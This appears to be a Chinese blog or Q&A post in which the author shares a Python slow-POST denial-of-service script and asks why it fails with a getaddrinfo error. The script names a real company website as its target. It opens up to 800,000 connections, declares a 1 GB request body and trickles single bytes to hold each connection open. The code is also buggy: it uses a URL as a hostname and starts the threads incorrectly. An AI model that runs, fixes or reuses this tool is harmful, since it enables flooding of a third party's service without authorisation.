SOCKET.GAIERROR: [ERRNO 11001] G

2022-03-28  本文已影响0人  濩落瞳矇

代码:

import socket

import threading

import time

maxsend = 800000

port = 8000

url = "http://www.yd-iso.com/"

page = "/product/sqtjry.html"

buf = (r"POST %s HTTP/1.1\r\n"r"Host: %s\r\n"r"Content-Length: 1000000000\r\n"r"Cookie: dklkt_dos_test\r\n"r"\r\n" % (page, url))

socks = []

def sock_buf_thread():

    global socks

    for i in range(0, maxsend):

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:

            s.connect((url, port))

            s.send(buf)

            print("成功连接")

            socks.append(s)

        except:

             print("失败,可能是网站拒绝访问")

              time.sleep(2)

def sock_page_thread():

    global socks

    while True:

        for s in socks:

            try:

                s.send("f")

                print("发送成功")

            except:

                print("失败,可能是网站拒绝访问")

                socks.remove(s)

                s.close()

                time.sleep(1)

buf_thread = threading.Thread(target = sock_buf_thread(), args = ())

page_thread = threading.Thread(target = sock_page_thread(), args = ())

buf_thread.start()

page_thread.start()

当把下列代码提取出来时:

s.connect((url, port))            s.send(buf)            print("成功连接")            socks.append(s)

出现下列错误:

SOCKET.GAIERROR: [ERRNO 11001] GETADDRINFO FAILED

谁能告诉我是为什么?

上一篇下一篇

猜你喜欢

热点阅读